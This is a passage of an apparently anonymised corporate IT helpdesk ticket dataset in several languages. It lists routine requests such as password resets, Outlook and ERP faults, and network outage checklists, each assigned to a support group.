, is assigned to Assignment group: GRP\_16.Ticket with Short description: unable to access drawings , Description: unable to access drawings , is assigned to Assignment group: GRP\_0.Ticket with Short description: update on inplant\_868966, Description: update on inplant\_868966, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage: south amerirtca site is hard down since 12:54 pm et on 10/18., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_12:54 pm et on 10/18.\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_no\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: i don't receive any team workflows anymore into my erp inbox., Description: von: ydigzqbu xdgjizek
gesendet: dienstag, 18. oktober 2016 10:07
an: ujxvrlzg pkaegicn
betreff: workflow inbox
hello mr. thetadkg,
i hope you are the right person to turn to:
suddenly i don't reeive any team workflows anymore into my erp inbox.
i am assigned to csd 51111936 and hope you can tackle this problem.
, is assigned to Assignment group: GRP\_13.Ticket with Short description: vip 2 // mobile device activation, Description: vip 2 // mobile device activation, is assigned to Assignment group: GRP\_0.Ticket with Short description: oulook not updating , Description:
summary:my email is not update again, is assigned to Assignment group: GRP\_0.Ticket with Short description: bex is not responding, Description: hello,\_x000D\_
i have used several times in the past, but for some reason today it's not functioning properly. i get to the point where i have chosen which table to load and then it freezes and says not responding. i really need this to be working properly so that i can do my job. please help, , is assigned to Assignment group: GRP\_9.Ticket with Short description: need access to sharepont approved by blktuiae jzakfmhw please find attachment, Description: need access to collaboration\_platform approved by blktuiae jzakfmhw please find attachment
user id : schddklnes,
website- {fc868d04-e4f5-45cb-a7b8-f33b0cc5e486}&file=emea%20dpo%20vendor%20payment%20terms%20-%20change%20log.xlsx&action=default
, is assigned to Assignment group: GRP\_16.Ticket with Short description: i need my password in SID\_1 changed.. thanks, Description:
received from: azxhejvq.fyemlavd@gmail.com
userid walddkrrm234
mdiwjd wthaldlmdsrop
global ethics and compliance programdntys
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype , Description: \_x000D\_
\_x000D\_
received from: eqxyvfpi.gbaljypo@gmail.com\_x000D\_
\_x000D\_
hi â€“ i have been unable to load my picture in skype â€“ when i try to edit, it takes me to my account and does not load â€“\_x000D\_
i have added in outlook, but does not show up in skype â€“\_x000D\_
any ideas? â€“\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: printer issue : hp office jet printer offline., Description: not able to clear printer queue\_x000D\_
cleared queue by command prompt and checked giving a uacyltoe hxgaycze print, it worked fine.\_x000D\_
issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: uacyltoe hxgaycze call from benethrytte cthoursook, Description: uacyltoe hxgaycze call from benethrytte cthoursook, is assigned to Assignment group: GRP\_0.Ticket with Short description: expense report submittal : refer ticket # : inplant\_855783, Description: \_x000D\_
\_x000D\_
received from: ytqhfmwi.itnakpmc@gmail.com\_x000D\_
\_x000D\_
i've attempted to submit this expense report (below) for approval and it does not appear to be moving on to approver, it only saves the report.\_x000D\_
\_x000D\_
this happens every time i submit an expense report.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: bplnyedg vobluewg placed a uacyltoe hxgaycze call : id : 1064871377, Description: bplnyedg vobluewg placed a uacyltoe hxgaycze call : id : 1064871377, is assigned to Assignment group: GRP\_0.Ticket with Short description: my email keeps disconnecting and i have not had internet access at all this week. , Description: from: wjslkzfr jxlbzwrp
sent: tuesday, october 18, 2016 5:59 pm
to: nwfodmhc exurcwkm
subject: - re: email and internet browser
importance: high
hello,
please help me.
my email keeps disconnecting and i have not had internet access at all this week.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: no access to appreciatehub, Description: i have no access to appreciatehub.com. it says "you may not yet be authorized to enter employee recognition site. please contact your admin...", is assigned to Assignment group: GRP\_0.Ticket with Short description: ghost call with interaction id-1064870877, Description: ghost call with interaction id-1064870877, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call // call came and got disconnected, Description: blank call // call came and got disconnected, is assigned to Assignment group: GRP\_0.Ticket with Short description: id : 1064870825, Description: id : 2175981936\_x000D\_
\_x000D\_
person on other side disconnected , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not updating, Description: outlook not updating, is assigned to Assignment group: GRP\_0.Ticket with Short description: problem with kpm time keeping and e-time, Description:
received from: zywoxerf.paqxtrfk@gmail.com
dear sir:
i have two issues:
1) on my kpm, (i) my time keep does not go forward, (ii) i submitted my time report for last week but my supervisor does not receive it, and (iii) my time keeping window, only showing one row.
2) on my e-time, i cannot enter a new vacation time
x. dathniel fangtry
senior staff engineer
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to see engineering\_tool , Description: unable to see engineering\_tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: need file pulled from the backup - h:\manufacturing\backorder database openorderbook\_v7g\_rev.accdb , Description: current file is corrupt and not working\_x000D\_
server name-dat1-HostName\_1326 , is assigned to Assignment group: GRP\_12.Ticket with Short description: wifi companysecure not working at sao bernardo do campo, Description: iwifi companysecure not working at sao bernardo do campo, is assigned to Assignment group: GRP\_4.Ticket with Short description: blank call, Description: call came and got disconnected.\_x000D\_
private number was unable to call., is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call , Description: blank call , is assigned to Assignment group: GRP\_0.Ticket with Short description: account lockout, Description: account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to post delivery 8058337294, Description: get the attached error when trying to post delivery 9169448305. , is assigned to Assignment group: GRP\_44.Ticket with Short description: skype addin disabled, Description: name:pfzxecbo ptygkvzl
language:
browser:microsoft internet explorer
email:pfzxecbo.ptygkvzl@gmail.com
customer number:
telephone:
summary:i can not add a skype meeting link to a new meeting notice. the button is no longer there. please advise how to get it back., is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset , Description: password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: uninstalling driver update // slimware technologies // external software, Description: uninstalling driver update // slimware technologies // external software, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open outlook, Description: unable to open outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: venue 11 pro 7130 vpro 2 - detachable keybankrd is having severe issues.., Description: hello,\_x000D\_
\_x000D\_
please send me a replacement detachable keybankrd for my "venue 11 pro 7130 vpro".\_x000D\_
\_x000D\_
the right hand keys are not working/not working properly.\_x000D\_
\_x000D\_
it makes using the machine very problematic.\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: lost access to mii scanning, Description: name : tim hopes
email : dkxlpvnr.narxcgjh@gmail.com
telephone :
summary : two employee's lost access to mii scanning. clock numbers 20905675 and 65941543., is assigned to Assignment group: GRP\_41.Ticket with Short description: odbc-fehler - systemfehler 126: das angegebene modul wurde nicht gefunden. treiber nicht geladen, Description: ich mÃ¶chte einen serienbrief erstellen, kann aber meine datenquelle (excelliste) nicht Ã¶ffnen?\_x000D\_
ïƒ¨ systemfehler 126 ??? ich bitte um hilfe! danke.\_x000D\_
, is assigned to Assignment group: GRP\_33.Ticket with Short description: unable to connect to internet, Description: unable to connect to internet, is assigned to Assignment group: GRP\_0.Ticket with Short description: system freezing , Description: system freezing , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp login issue, password reset, Description: erp login issue, password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: company-na-usa-usa-eh-2811-mpls-rtr01 located at usa company is down since 8.36am et on 10/18., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_8.36am et on 10/18\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_global\_telecom\_1(# 000000223172498)\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_4.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for rzxfgmcu xprwayoc on other / impact award, Description: please unlock my password. i forgot it.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook issue : not loading , Description: outlook issue : not loading , is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset from password\_management\_tool, Description: password reset from password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: please redirect to local it: word document 134257.doc broken, Description: das folgende word-dokument kann nicht mehr bearbeitet werden: \\edksm003\qs\zeugnis\_kunden\134\134257\134257.doc (der cursor springt stÃ¤ndig auf seite 11)., is assigned to Assignment group: GRP\_49.Ticket with Short description: reset passwords for wvdxnkhf jirecvta using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: scheduled job needs canceled, Description:
received from: bwfhtumx.japznrvb@gmail.com
there is a job that had been printing out every morning on bd18. i need it cancelled. this is the one that printed today. if you look at tomorrow's date, you can see there is one released that will proint.
[cid:image001.jpg@01d22914.f4adc7c0]
bwfhtumx japznrvb
regional controller
bwfhtumx.japznrvb@gmail.com<mailto:bwfhtumx.japznrvb@gmail.com>
, is assigned to Assignment group: GRP\_5.Ticket with Short description: fc for eweausbildung for jannek hÃ¼ndling, Description: hallo,
bitte fÃ¼r jannek hÃ¼ndling zugriff auf den ordner department / ausbildung.
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_12.Ticket with Short description: engineering tool will not work, Description: \_x000D\_
\_x000D\_
received from: wlsazrce.uwehsqbk@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i cannot open, close, or manipulate any of my tasks on engineering tool. this makes it difficult to work with our team in india. please have a look.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp und EU\_tool geht sehr langsam, Description: EU\_tool funktioniert teilweise gar nicht, is assigned to Assignment group: GRP\_25.Ticket with Short description: erp complete system very slow, Description: erp SID\_34 system in germany is extremly slow no delivery possilbe please help , is assigned to Assignment group: GRP\_14.Ticket with Short description: erp logon, Description: \_x000D\_
\_x000D\_
received from: xaertwdh.kcsagvpy@gmail.com\_x000D\_
\_x000D\_
hi\_x000D\_
please assist, changed password this morning. entered old password just now. please activate?\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account unlock, Description: windows account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account lockout, Description: windows account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset password, Description: reset password, is assigned to Assignment group: GRP\_12.Ticket with Short description: erp reagiert extrem langsam, Description: transaktionen in erp dauern zu lange, is assigned to Assignment group: GRP\_0.Ticket with Short description: monitor fÃ¼r video messmaschine liefern \oziflwma nhgvmqdl, Description: monitor fÃ¼r video messmaschine liefern \oziflwma nhgvmqdl, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit outlook \cwivnxuk izmxqfud, Description: probleme mit outlook \cwivnxuk izmxqfud, is assigned to Assignment group: GRP\_24.Ticket with Short description: rechner optiplex790 defekt \ ewew8323670 \xpugntjv zcaermdt, Description: rechner optiplex790 defekt \ ewew8323670 \xpugntjv zcaermdt, is assigned to Assignment group: GRP\_24.Ticket with Short description: engineering tool is not working..., Description: error: you are not authorized to view this page\_x000D\_
you do not have permission to view this directory or page using the credentials that you supplied. ", is assigned to Assignment group: GRP\_25.Ticket with Short description: outlook does not start anymore, Description: after clicking the outlook icon, the start window appears for minutes. \_x000D\_
no matheywter how long you wait, the programdnty does not start. \_x000D\_
also a restart of the computer brought no improvement, is assigned to Assignment group: GRP\_0.Ticket with Short description: res: inc1559160-problem with engineering\_tool for non miowvyrs qkspyrdms, Description:
received from: qasdhyzm.yuglsrwx@gmail.com
fyi
qasdhyzm yuglsrwx
analyst, distributed system lan/pc
qasdhyzm.yuglsrwx@gmail.com<mailto:qasdhyzm.yuglsrwx@gmail.com>
de: qasdhyzm yuglsrwx
enviada em: terÃ§a-feira, 18 de outubro de 2016 08:20
para: <ongumpdz.pjkrfmbc@gmail.com>
cc: 'ferguss - gustaco filipim requena hp' <gustathsvo@gmail.com.br>
assunto: res: inc1559160-problem with engineering\_tool for non miowvyrs qkspyrdms
hi ,
we are waiting you, i'm available and gustavo too, i believe that you need connect in computer the gustathsvo (non-company) to solve this problem, can you connect in computer the gustathsvo now? or can be 4:00pm (ist).
if you can streamline this process i appreciate, because gustathsvo has this problem by 2 weeks.
qasdhyzm yuglsrwx
analyst, distributed system c
qasdhyzm.yuglsrwx@gmail.com<mailto:qasdhyzm.yuglsrwx@gmail.com>
de:
enviada em: terÃ§a-feira, 18 de outubro de 2016 03:06
para: qasdhyzm yuglsrwx <qasdhyzm.yuglsrwx@gmail.com<mailto:qasdhyzm.yuglsrwx@gmail.com>>
assunto: inc1559160-problem with engineering\_tool for non miowvyrs qkspyrdms
hi ,
can you please come up with your availability aerp. it would be great if you could mention the date and time (ist) . :)
please give me a call if you could not reach out to me via skype.
, is assigned to Assignment group: GRP\_25.Ticket with Short description: network outage: company-russia-ups-vpn-rtr.company.com located at russia warehouse is down since 5:09 am et on 10/18., Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_5:09 am et on 10/18\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: EU\_tool is down in plant germany, Description: please restart the EU\_tool server aerp, so we can run production as planned, is assigned to Assignment group: GRP\_25.Ticket with Short description: create business partner id - vvtathadnda1, Description:
received from: rtpcnyhq.ceqmwkhi@gmail.com
hello team,
can you please create a business partner id for vvtathadnda1 in solution manager.
rtpcnyhq ceqmwkhi
rtpcnyhq.ceqmwkhi@gmail.com<mailto:rtpcnyhq.ceqmwkhi@gmail.com>
, is assigned to Assignment group: GRP\_2.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 10/18/2016 04:54:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 10/18/2016 04:54:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to loin to ess portable , Description: unable to loin to ess portable , is assigned to Assignment group: GRP\_0.Ticket with Short description: multiple app problems, user jesjnlyenmrest34, Description:
received from: vogtfyne.isugmpcn@gmail.com
hello,
user gkzedilm.tkpfumeb@gmail.com<mailto:gkzedilm.tkpfumeb@gmail.com> [jesjnlyenmrest34] is experiencing programdnty issues with these aplications:
engineering\_tool â€“ he can access it, create new report, unable to submit
the computers are approximately one year old, should i rather reinstall this pc instead of trying to fix the problems separatelly?
best , is assigned to Assignment group: GRP\_25.Ticket with Short description: setup EU\_tool \we\_wu185 \8323738 \jionmpsf wnkpzcmv, Description: setup EU\_tool \we\_wu185 \8323738 \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: fc for HostName\_717\sk-leitung for user mokolthrl12a, Description: hallo ,
bitte lese- u. schreibberechtigung fÃ¼r niptbwdq csenjruz einrichten. ist mit sbtvploj mwtrouyl besprochen.
gruÃŸ
lhmxposv lnpgjhus
betriebsabteilungsleiter technische dienste
lhmxposv.lnpgjhus@gmail.com
geschÃ¤ftsfÃ¼hrer/managing directors: phvkowml azbtkqwx, naruedlk mpvhakdq
sitz/registered office: germany - registergerirtcht/listed in the court register: germany
persÃ¶nlich haftende gesellschafterin/general partner: company company beteiligungs gmbh
sitz/registered office: fÃ¼rth/bay. - registergerirtcht/listed in the court regster: fÃ¼rth
von: niptbwdq csenjruz
gesendet: montag, 17. oktober 2016 12:07
an: jionmpsf wnkpzcmv; xmlbfjpg yegzbvru; dhoalycb yopvwrjq; lhmxposv lnpgjhus; sbtvploj mwtrouyl; joerg passiep; cwryvksu cedsairg
betreff: aw: maschinenumstellung
bei mir klappt es nicht.
mit freundlichen grÃ¼ÃŸen
niptbwdq csenjruz
servicecenter instandhaltung
niptbwdq.csenjruz@gmail.com
, is assigned to Assignment group: GRP\_12.Ticket with Short description: insert to d/n no., Description: please insert the delivery note no. in erp book., is assigned to Assignment group: GRP\_18.Ticket with Short description: erp SID\_34 password reset, Description: erp SID\_34 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: purchase order print, Description: dear all
this is jathyrsy from plant\_69.
we are on the audit and the auditor would like to see po documents(hard copy).
is there any way to print po documents one time ?
if i ues me23n and zz\_mails, i need to do one by one. the number of pos is more than 200.
, is assigned to Assignment group: GRP\_29.Ticket with Short description: network outage: company-na-usa-usa-township-dmvpn-1921-rtr01 since 2:59 am et on 10/18., Description: what type of outage: \_ x\_\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_2:59 am et on 10/18.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_no\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_ na\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: outlook 2010 - 64 bit - prompts for password repeatedly after a password reset, Description: we are downloading the sp2 for outlook and will see if the issue is resolved once it is installed., is assigned to Assignment group: GRP\_0.Ticket with Short description: bitte das iphone-6 001 freischalten fÃ¼r mail-empfang., Description:
received from: rtnyumbg.yzemkhbq@gmail.com
hallo zusammen,
bitte das iphone-6 001 freischalten fÃ¼r mail-empfang.
danke
mit freundlichen grÃ¼ÃŸen
rtnyumbg yzemkhbq / tel
[cid:image001.jpg@01d22919.634da5c0]
mit freundlichen grÃ¼ÃŸen
rtnyumbg yzemkhbq
techn. beratung und verkauf
rtnyumbg.yzemkhbq@gmail.com<mailto:rtnyumbg.yzemkhbq@gmail.com>
company deutschland gmbh
max-planck-straÃŸe 13<x-apple-data-detectors://1>
<x-apple-data-detectors://1>
company deutschland gmbh
geschÃ¤ftsfÃ¼hrer: rfwlsoej yvtjzkaw, harald mÃ¤nnlein, herr pinkow
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[#+company/posts>[
select the following link to view the disclaimer in an alternate language.
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: can you please unlock and reset password for userid bertes34 and let me know the initial password, Description: can you please unlock and reset password for userid bertes34 and let me know the initial password, is assigned to Assignment group: GRP\_0.Ticket with Short description: user needs help to open .rar file., Description: user needs help to open .rar file.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-installed the application on the user system.\_x000D\_
-user informed he is able to open the .rar files now.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: ç”µè¯æœºæ²¡æœ‰å£°éŸ³, Description: ç”µè¯æœºæ²¡æœ‰å£°éŸ³, is assigned to Assignment group: GRP\_30.Ticket with Short description: media server disconnect lpapr952(south\_amerirtca south\_amerirtca), Description: received below email from inin tried to ping the server but it is not responding.
from: cthaasnoc@gmail.com
sent: monday, october 17, 2016 11:34 pm
to:
subject: media server disconnect
october 17, 2016
company inc.,
the cthaasnoc network operations center (noc) has received a media server disconnect alert via proactive monitoring for the following media server(s). we have opened an incident to track this alert and will close the incident when connectivity is re-established to the media server. please verify power to all devices and/or follow up with your network provider for further troubleshooting.
affected infrastructure
server: den157gic064 - 78.39.157.64, location: , united states
ind157gic064 - 78.38.157.64, location: , united states
ind157gic064 - 78.38.157.64, location: , united states
den157gic064 - 78.39.157.64, location: , united states
den157gic064 - 78.39.157.64, location: , united states
den157gic064 - 78.39.157.64, location: , united states
den157gic064 - 78.39.157.64, location: , united states
den157gic064 - 78.39.157.64, location: , united states
additional information
trghwyng route to lpapr952 [10.34.160.12]
over a maximum of 30 hops:
sartlgeo lhqksbdx ms <1 ms <1 ms 21.97.98.46829
2 <1 ms <1 ms <1 ms 21.97.98.468
3 4 ms 9 ms 3 ms 10.20.2.70
4 158 ms 157 ms 157 ms 10.42.1.82
5 168 ms 168 ms 168 ms 10.42.1.81
6 169 ms 168 ms \* 79.67.01.659
7 \* \* \* request timed out.
8 \* \* \* request timed out.
9 \* \* \* request timed out.
10 \* \* \* request timed out.
if you have any questions regarding this notification please contact our support team at the number listed below.
sincerely,
interactive intelligence cthaasnoc team
interactive intelligence blast notification
this mailbox is not monitored.please call support at the phone number in this communication for any questions you may have.
, is assigned to Assignment group: GRP\_8.Ticket with Short description: not able to access business\_client, Description: \_x000D\_
\_x000D\_
received from: ntuhoafg.bzwefjvk@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i am not able to access business\_client, please help.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: system bankrd temperature alerts in monitoring\_tool for south\_amerirtca south\_amerirtca servers HostName\_1238 & HostName\_1237, Description: system bankrd inlet temp alert for HostName\_1237\_x000D\_
system bankrd ambient temp alert for lpas060.\_x000D\_
\_x000D\_
attached is the screen shot of windows event viewer logs, is assigned to Assignment group: GRP\_12.Ticket with Short description: erp SID\_34 password sign on is cabane please reset to daypay3 thank you, Description: name:fyzceglp vfnraqxc
language:
browser:microsoft internet explorer
email:fyzceglp.vfnraqxc@gmail.com
customer number:
telephone:
summary:i have another user that can't remember his erp SID\_34 password sign on is cabane please reset to daypay3 , is assigned to Assignment group: GRP\_0.Ticket with Short description: :user pluytd54 ( erthryika plaunyud ) locked herself out of erp SID\_34 - can you please reset her password to daypay3? thank you, Description: name:fyzceglp vfnraqxc
language:
browser:microsoft internet explorer
email:fyzceglp.vfnraqxc@gmail.com
customer number:
telephone:
summary:user pluytd54 ( erthryika plaunyud ) locked herself out of erp SID\_34 - can you please reset her password to daypay3? , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for pxvjczdt kizsjfpq using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: unable to access emails on outlook , Description: unable to access emails on outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp did not pull the customer part number from the ztax item for the taps item , Description: hello it-team,\_x000D\_
\_x000D\_
please help to check the following issue â€“ erp did not pull the customer part number from the ztax item for the taps item â€“ although it was shown on the delivery note (please see attached) we were not able to print the label for item 22:\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: not able to login to collaboration\_platform , Description: not able to login to collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0448767, Description: ticket update on ticket\_no0448767, is assigned to Assignment group: GRP\_0.Ticket with Short description: action could not be performed, Description: henvrkuo nogrfadw is getting the following error message when trying to access purchasing:\_x000D\_
"no data found for employee '1111102236'; inform system administration."\_x000D\_
\_x000D\_
